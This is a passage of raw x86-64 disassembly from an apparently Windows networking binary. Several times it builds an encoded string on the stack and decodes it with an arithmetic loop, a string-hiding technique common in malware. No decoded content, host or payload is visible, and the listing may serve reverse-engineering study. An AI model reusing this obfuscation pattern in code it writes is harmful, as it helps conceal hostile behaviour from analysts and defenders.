mov byte [rsp + 0x4e], 0x52
mov byte [rsp + 0x4f], 2
mov byte [rsp + 0x50], 0x52
mov byte [rsp + 0x51], 0x51
mov byte [rsp + 0x52], 0x52
mov byte [rsp + 0x53], 0xa
mov byte [rsp + 0x54], 0x52
mov byte [rsp + 0x55], 0x3d
mov byte [rsp + 0x56], 0x52
mov byte [rsp + 0x57], 0xa
mov byte [rsp + 0x58], 0x52
mov byte [rsp + 0x59], WSACleanup
mov byte [rsp + 0x5a], 0x52
mov byte [rsp + 0x5b], 0x4c
mov byte [rsp + 0x5c], 0x52
mov byte [rsp + 0x5d], shutdown
mov byte [rsp + 0x5e], 0x52
mov byte [rsp + 0x5f], 0x56
mov byte [rsp + 0x60], 0x52
mov byte [rsp + 0x61], 0x5e
mov byte [rsp + 0x62], 0x52
mov byte [rsp + 0x63], 0x52
mov byte [rsp + 0x64], 0x52
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140012641
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
lea edx, [rdx + rdx*4]
lea ebp, [rdx + rdx*4]
lea edx, [rdx + rdx*4]
add edx, 0xfffff7fe
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ebp
add edx, 0xfffff7fe
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add edx, ebp
add edx, 0xfffff7fe
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x45
jne 0x1400125c6
call fcn.14000eec0
mov eax, dword [0x1400503b0]
cmp eax, 0xd
ja 0x140012a99
mov ecx, 0x2c00
bt ecx, eax
jae 0x140012a99
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], WSAGetLastError
mov byte [rsp + 0x22], 0x4d
mov byte [rsp + 0x23], 0x75
mov byte [rsp + 0x24], 0x4d
mov byte [rsp + 0x25], 0x24
mov byte [rsp + 0x26], 0x4d
mov byte [rsp + 0x27], gethostname
mov byte [rsp + 0x28], 0x4d
mov byte [rsp + 0x29], 0x75
mov byte [rsp + 0x2a], 0x4d
mov byte [rsp + 0x2b], 0x1e
mov byte [rsp + 0x2c], 0x4d
mov byte [rsp + 0x2d], 0x3a
mov byte [rsp + 0x2e], 0x4d
mov byte [rsp + 0x2f], 0x5f
mov byte [rsp + 0x30], 0x4d
mov byte [rsp + 0x31], gethostname
mov byte [rsp + 0x32], 0x4d
mov byte [rsp + 0x33], 0x53
mov byte [rsp + 0x34], 0x4d
mov byte [rsp + 0x35], 0x24
mov byte [rsp + 0x36], 0x4d
mov byte [rsp + 0x37], 0x1e
mov byte [rsp + 0x38], 0x4d
mov byte [rsp + 0x39], 0x75
mov byte [rsp + 0x3a], 0x4d
mov byte [rsp + 0x3b], gethostname
mov byte [rsp + 0x3c], 0x4d
mov byte [rsp + 0x3d], 0x40
mov byte [rsp + 0x3e], 0x4d
mov byte [rsp + 0x3f], 0x59
mov byte [rsp + 0x40], 0x4d
mov byte [rsp + 0x41], gethostname
mov byte [rsp + 0x42], 0x4d
mov byte [rsp + 0x43], gethostname
mov byte [rsp + 0x44], 0x4d
mov byte [rsp + 0x45], 0x7b
mov byte [rsp + 0x46], 0x4d
mov byte [rsp + 0x47], 0x59
mov byte [rsp + 0x48], 0x4d
mov byte [rsp + 0x49], 0x62
mov byte [rsp + 0x4a], 0x4d
mov byte [rsp + 0x4b], 0x24
mov byte [rsp + 0x4c], 0x4d
mov byte [rsp + 0x4d], 0x7b
mov byte [rsp + 0x4e], 0x4d
mov byte [rsp + 0x4f], gethostname
mov byte [rsp + 0x50], 0x4d
mov byte [rsp + 0x51], 0x75
mov byte [rsp + 0x52], 0x4d
mov byte [rsp + 0x53], 0x7e
mov byte [rsp + 0x54], 0x4d
mov byte [rsp + 0x55], gethostname
mov byte [rsp + 0x56], 0x4d
mov byte [rsp + 0x57], 0x21
mov byte [rsp + 0x58], 0x4d
mov byte [rsp + 0x59], 0x24
mov byte [rsp + 0x5a], 0x4d
mov byte [rsp + 0x5b], 2
mov byte [rsp + 0x5c], 0x4d
mov byte [rsp + 0x5d], 0x56
mov byte [rsp + 0x5e], 0x4d
mov byte [rsp + 0x5f], gethostname
mov byte [rsp + 0x60], 0x4d
mov byte [rsp + 0x61], 0x75
mov byte [rsp + 0x62], 0x4d
mov byte [rsp + 0x63], 0x59
mov byte [rsp + 0x64], 0x4d
mov byte [rsp + 0x65], gethostname
mov byte [rsp + 0x66], 0x4d
mov byte [rsp + 0x67], 0x40
mov byte [rsp + 0x68], 0x4d
mov byte [rsp + 0x69], 0x1e
mov byte [rsp + 0x6a], 0x4d
mov byte [rsp + 0x6b], 0x3a
mov byte [rsp + 0x6c], 0x4d
mov byte [rsp + 0x6d], 0x1e
mov byte [rsp + 0x6e], 0x4d
mov byte [rsp + 0x6f], 0x56
mov byte [rsp + 0x70], 0x4d
mov byte [rsp + 0x71], 0x7e
mov byte [rsp + 0x72], 0x4d
mov byte [rsp + 0x73], 0x6a
mov byte [rsp + 0x74], 0x4d
mov byte [rsp + 0x75], 0x4d
mov byte [rsp + 0x76], 0x4d
mov al, byte [rsp + 0x20]
test al, 1
jne 0x1400128a7
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
lea ebp, [rdx + rdx*4]
lea ebx, [rdx + rbp*8]
lea edx, [rdx + rbp*8]
add edx, 0xfffff3ab
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ebx
add edx, 0xfffff3ab
movzx edx, dx
mov ebp, edx
shr ebp, 0xf
shr edx, 6
add edx, ebp
mov ebp, edx
shl ebp, 7
sub edx, ebp
add edx, ebx
add edx, 0xfffff3ab
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x57
jne 0x14001282c
call fcn.14000eec0
mov ecx, 1
call fcn.140031ab0
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], setsockopt
mov byte [rsp + 0x22], 0x10
mov byte [rsp + 0x23], 0x58
mov byte [rsp + 0x24], 0x10
mov byte [rsp + 0x25], 0x58
mov byte [rsp + 0x26], 0x10
mov byte [rsp + 0x27], 0x7a
mov byte [rsp + 0x28], 0x10
mov byte [rsp + 0x29], 0x58
mov byte [rsp + 0x2a], 0x10
mov byte [rsp + 0x2b], 0x5a
mov byte [rsp + 0x2c], 0x10
mov byte [rsp + 0x2d], 0x52
mov byte [rsp + 0x2e], 0x10
mov byte [rsp + 0x2f], 0x7b
mov byte [rsp + 0x30], 0x10
mov byte [rsp + 0x31], 0x58
mov byte [rsp + 0x32], 0x10
mov byte [rsp + 0x33], 0x7a
mov byte [rsp + 0x34], 0x10
mov byte [rsp + 0x35], gethostbyname
mov byte [rsp + 0x36], 0x10
mov byte [rsp + 0x37], 0x2b
mov byte [rsp + 0x38], 0x10
mov byte [rsp + 0x39], 0x5c
mov byte [rsp + 0x3a], 0x10
mov byte [rsp + 0x3b], 0x29
mov byte [rsp + 0x3c], 0x10
mov byte [rsp + 0x3d], 0x7b
mov byte [rsp + 0x3e], 0x10
mov byte [rsp + 0x3f], 0x7d
mov byte [rsp + 0x40], 0x10
mov byte [rsp + 0x41], 8
mov byte [rsp + 0x42], 0x10
mov byte [rsp + 0x43], 0x7a
mov byte [rsp + 0x44], 0x10
mov byte [rsp + 0x45], 0x2b
mov byte [rsp + 0x46], 0x10
mov byte [rsp + 0x47], 0x7b
mov byte [rsp + 0x48], 0x10
mov byte [rsp + 0x49], 0xa
mov byte [rsp + 0x4a], 0x10
mov byte [rsp + 0x4b], 0x29
mov byte [rsp + 0x4c], 0x10
mov byte [rsp + 0x4d], 0x7a
mov byte [rsp + 0x4e], 0x10
mov byte [rsp + 0x4f], 0x54
mov byte [rsp + 0x50], 0x10
mov byte [rsp + 0x51], 0x56
mov byte [rsp + 0x52], 0x10
mov byte [rsp + 0x53], 0x2f
mov byte [rsp + 0x54], 0x10
mov byte [rsp + 0x55], 0x56
mov byte [rsp + 0x56], 0x10
mov byte [rsp + 0x57], 8
mov byte [rsp + 0x58], 0x10
mov byte [rsp + 0x59], 0x2b
mov byte [rsp + 0x5a], 0x10
mov byte [rsp + 0x5b], 0x29
mov byte [rsp + 0x5c], 0x10
mov byte [rsp + 0x5d], 0x7d
mov byte [rsp + 0x5e], 0x10
mov byte [rsp + 0x5f], 0x59
mov byte [rsp + 0x60], 0x10
mov byte [rsp + 0x61], 0x10
mov byte [rsp + 0x62], 0x10
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140012a8e
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
imul edx, edx, 0xffffffc2
mov ebp, edx
add ebp, 0x3e0
movsx ebp, bp
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
add ebp, 0x3e0
movzx ebp, bp
mov ebx, ebp
shr ebx, 0xf
shr ebp, 6
add ebp, ebx
mov ebx, ebp
shl ebx, 7
sub ebp, ebx
add edx, ebp
add edx, 0x3e0
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x43
jne 0x140012a17
call fcn.14000eec0
mov eax, dword [0x1400503b0]
cmp eax, 0xe
ja 0x140012f12
mov ecx, 0x5400
bt ecx, eax
jae 0x140012f12
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], WSAGetLastError
mov byte [rsp + 0x22], 0x43
mov byte [rsp + 0x23], 0x4d
mov byte [rsp + 0x24], 0x43
mov byte [rsp + 0x25], 0x19
mov byte [rsp + 0x26], 0x43
mov byte [rsp + 0x27], 0x7d
mov byte [rsp + 0x28], 0x43
mov byte [rsp + 0x29], 0x4d
mov byte [rsp + 0x2a], 0x43
mov byte [rsp + 0x2b], 0x57
mov byte [rsp + 0x2c], 0x43
mov byte [rsp + 0x2d], 0x5e
mov byte [rsp + 0x2e], 0x43
mov byte [rsp + 0x2f], 8
mov byte [rsp + 0x30], 0x43
mov byte [rsp + 0x31], 0x3d
mov byte [rsp + 0x32], 0x43
mov byte [rsp + 0x33], 5
mov byte [rsp + 0x34], 0x43
mov byte [rsp + 0x35], 0x19
mov byte [rsp + 0x36], 0x43
mov byte [rsp + 0x37], 0x57
mov byte [rsp + 0x38], 0x43
mov byte [rsp + 0x39], 0x4d
mov byte [rsp + 0x3a], 0x43
mov byte [rsp + 0x3b], 0x3d
mov byte [rsp + 0x3c], 0x43
mov byte [rsp + 0x3d], 0x20
mov byte [rsp + 0x3e], 0x43
mov byte [rsp + 0x3f], 0x46
mov byte [rsp + 0x40], 0x43
mov byte [rsp + 0x41], 0x7d
mov byte [rsp + 0x42], 0x43
mov byte [rsp + 0x43], 0x3d
mov byte [rsp + 0x44], 0x43
mov byte [rsp + 0x45], 0x5e
mov byte [rsp + 0x46], 0x43
mov byte [rsp + 0x47], gethostname
mov byte [rsp + 0x48], 0x43
mov byte [rsp + 0x49], 0x4d
mov byte [rsp + 0x4a], 0x43
mov byte [rsp + 0x4b], 5
mov byte [rsp + 0x4c], 0x43
mov byte [rsp + 0x4d], 0x46
mov byte [rsp + 0x4e], 0x43
mov byte [rsp + 0x4f], 0x7d
mov byte [rsp + 0x50], 0x43
mov byte [rsp + 0x51], 0x27
mov byte [rsp + 0x52], 0x43
mov byte [rsp + 0x53], 0x3d
mov byte [rsp + 0x54], 0x43
mov byte [rsp + 0x55], 0x4d
mov byte [rsp + 0x56], 0x43
mov byte [rsp + 0x57], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x58], 0x43
mov byte [rsp + 0x59], 0x7d
mov byte [rsp + 0x5a], 0x43
mov byte [rsp + 0x5b], gethostname
mov byte [rsp + 0x5c], 0x43
mov byte [rsp + 0x5d], 0x19
mov byte [rsp + 0x5e], 0x43
mov byte [rsp + 0x5f], 0x50
mov byte [rsp + 0x60], 0x43
mov byte [rsp + 0x61], 0x65
mov byte [rsp + 0x62], 0x43
mov byte [rsp + 0x63], 0x3d
mov byte [rsp + 0x64], 0x43
mov byte [rsp + 0x65], 0x4d
mov byte [rsp + 0x66], 0x43
mov byte [rsp + 0x67], 0x46
mov byte [rsp + 0x68], 0x43
mov byte [rsp + 0x69], 0x3d
mov byte [rsp + 0x6a], 0x43
mov byte [rsp + 0x6b], 0x20
mov byte [rsp + 0x6c], 0x43
mov byte [rsp + 0x6d], 0x57
mov byte [rsp + 0x6e], 0x43
mov byte [rsp + 0x6f], 0x5e
mov byte [rsp + 0x70], 0x43
mov byte [rsp + 0x71], 0x57
mov byte [rsp + 0x72], 0x43
mov byte [rsp + 0x73], 0x65
mov byte [rsp + 0x74], 0x43
mov byte [rsp + 0x75], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x76], 0x43
mov byte [rsp + 0x77], 0x6a
mov byte [rsp + 0x78], 0x43
mov byte [rsp + 0x79], 0x43
mov byte [rsp + 0x7a], 0x43
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140012d08
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
lea ebp, [rdx + rdx*8]
lea ebx, [rdx + rbp*4]
lea edx, [rdx + rbp*4]
add edx, 0xfffff651
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ebx
add edx, 0xfffff651
movzx edx, dx
mov ebp, edx
shr ebp, 0xf
shr edx, 6
add edx, ebp
mov ebp, edx
shl ebp, 7
sub edx, ebp
add edx, ebx
add edx, 0xfffff651
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x5b
jne 0x140012c8d
call fcn.14000eec0
mov ecx, 2
call fcn.140031ab0
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x3f
mov byte [rsp + 0x22], shutdown
mov byte [rsp + 0x23], 0x44
mov byte [rsp + 0x24], shutdown
mov byte [rsp + 0x25], 0x44
mov byte [rsp + 0x26], shutdown
mov byte [rsp + 0x27], 6
mov byte [rsp + 0x28], shutdown
mov byte [rsp + 0x29], 0x53
mov byte [rsp + 0x2a], shutdown
mov byte [rsp + 0x2b], 0x4f
mov byte [rsp + 0x2c], shutdown
mov byte [rsp + 0x2d], 1
mov byte [rsp + 0x2e], shutdown
mov byte [rsp + 0x2f], 0x57
mov byte [rsp + 0x30], shutdown
mov byte [rsp + 0x31], 0x1b
mov byte [rsp + 0x32], shutdown
mov byte [rsp + 0x33], WSACleanup
mov byte [rsp + 0x34], shutdown
mov byte [rsp + 0x35], 0x7c
mov byte [rsp + 0x36], shutdown
mov byte [rsp + 0x37], 6
mov byte [rsp + 0x38], shutdown
mov byte [rsp + 0x39], 1
mov byte [rsp + 0x3a], shutdown
mov byte [rsp + 0x3b], 0x26
mov byte [rsp + 0x3c], shutdown
mov byte [rsp + 0x3d], WSACleanup
mov byte [rsp + 0x3e], shutdown
mov byte [rsp + 0x3f], 0x4f
mov byte [rsp + 0x40], shutdown
mov byte [rsp + 0x41], gethostbyname
mov byte [rsp + 0x42], shutdown
mov byte [rsp + 0x43], 8
mov byte [rsp + 0x44], shutdown
mov byte [rsp + 0x45], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x46], shutdown
mov byte [rsp + 0x47], 6
mov byte [rsp + 0x48], shutdown
mov byte [rsp + 0x49], 0x26
mov byte [rsp + 0x4a], shutdown
mov byte [rsp + 0x4b], gethostbyname
mov byte [rsp + 0x4c], shutdown
mov byte [rsp + 0x4d], 0x10
mov byte [rsp + 0x4e], shutdown
mov byte [rsp + 0x4f], 0x4f
mov byte [rsp + 0x50], shutdown
mov byte [rsp + 0x51], 6
mov byte [rsp + 0x52], shutdown
mov byte [rsp + 0x53], reloc.WS2_32.dll_socket
mov byte [rsp + 0x54], shutdown
mov byte [rsp + 0x55], WSAGetLastError
mov byte [rsp + 0x56], shutdown
mov byte [rsp + 0x57], 0x53
mov byte [rsp + 0x58], shutdown
mov byte [rsp + 0x59], WSAGetLastError
mov byte [rsp + 0x5a], shutdown
mov byte [rsp + 0x5b], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x5c], shutdown
mov byte [rsp + 0x5d], 0x26
mov byte [rsp + 0x5e], shutdown
mov byte [rsp + 0x5f], 0x4f
mov byte [rsp + 0x60], shutdown
mov byte [rsp + 0x61], 8
mov byte [rsp + 0x62], shutdown
mov byte [rsp + 0x63], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x64], shutdown
mov byte [rsp + 0x65], shutdown
mov byte [rsp + 0x66], shutdown
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140012f0d
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx ebp, dl
mov edx, ebp
shl edx, 5
lea ebx, [rdx + rbp*2]
lea edx, [rdx + rbp*2]
add edx, 0xfffffd58
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ebx
add edx, 0xfffffd58
movzx edx, dx
mov ebp, edx
shr ebp, 0xf
shr edx, 6
add edx, ebp
mov ebp, edx
shl ebp, 7
sub edx, ebp
add edx, ebx
add edx, 0xfffffd58
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x47
jne 0x140012e90
call fcn.14000eec0
call fcn.140036c54
sub eax, r15d
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x76
mov byte [rsp + 0x22], 0x2b
mov byte [rsp + 0x23], 0x66
mov byte [rsp + 0x24], 0x2b
mov byte [rsp + 0x25], 0x1d
mov byte [rsp + 0x26], 0x2b
mov byte [rsp + 0x27], 0x1d
mov byte [rsp + 0x28], 0x2b
mov byte [rsp + 0x29], 0x7a
mov byte [rsp + 0x2a], 0x2b
mov byte [rsp + 0x2b], 0x1d
mov byte [rsp + 0x2c], 0x2b
mov byte [rsp + 0x2d], 0x53
mov byte [rsp + 0x2e], 0x2b
mov byte [rsp + 0x2f], 0x20
mov byte [rsp + 0x30], 0x2b
mov byte [rsp + 0x31], shutdown
mov byte [rsp + 0x32], 0x2b
mov byte [rsp + 0x33], 0x7a
mov byte [rsp + 0x34], 0x2b
mov byte [rsp + 0x35], 0x49
mov byte [rsp + 0x36], 0x2b
mov byte [rsp + 0x37], 0x2c
mov byte [rsp + 0x38], 0x2b
mov byte [rsp + 0x39], 0x20
mov byte [rsp + 0x3a], 0x2b
mov byte [rsp + 0x3b], 0x7a
mov byte [rsp + 0x3c], 0x2b
mov byte [rsp + 0x3d], 0x3f
mov byte [rsp + 0x3e], 0x2b
mov byte [rsp + 0x3f], 0x1f
mov byte [rsp + 0x40], 0x2b
mov byte [rsp + 0x41], 0x20
mov byte [rsp + 0x42], 0x2b
mov byte [rsp + 0x43], 0x42
mov byte [rsp + 0x44], 0x2b
mov byte [rsp + 0x45], 0x75
mov byte [rsp + 0x46], 0x2b
mov byte [rsp + 0x47], 0x66
mov byte [rsp + 0x48], 0x2b
mov byte [rsp + 0x49], 0x20
mov byte [rsp + 0x4a], 0x2b
mov byte [rsp + 0x4b], 0x49
mov byte [rsp + 0x4c], 0x2b
mov byte [rsp + 0x4d], 0x3f
mov byte [rsp + 0x4e], 0x2b
mov byte [rsp + 0x4f], 0x2b
mov byte [rsp + 0x50], 0x2b
mov dl, byte [rsp + 0x20]
test dl, 1
jne 0x1400130a9
mov esi, 1
nop word cs:[rax + rax]
movzx ebx, byte [rsp + rsi + 0x20]
movzx ebp, bl
imul ebp, ebp, 0xffffffe6
mov ebx, ebp
add ebx, 0x45e
movsx ebx, bx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, ebp
add ebx, 0x45e
movzx ebx, bx
mov edi, ebx
shr edi, 0xf
shr ebx, 6
add ebx, edi
mov edi, ebx
shl edi, 7
sub ebx, edi
add ebp, ebx
add ebp, 0x45e
add bpl, 0x7f
movzx ebp, bpl
lea ebx, [rbp + rbp*2]
shr ebx, 8
mov edx, ebp
sub dl, bl
shr dl, 1
add dl, bl
shr dl, 6
movzx ebx, dl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub bpl, dl
mov byte [rsp + rsi + 0x20], bpl
add rsi, 1
cmp rsi, 0x31
jne 0x140013030
mov edx, eax
call fcn.14000eec0
xor r12d, r12d
jmp 0x1400109b9
call fcn.140001720
int3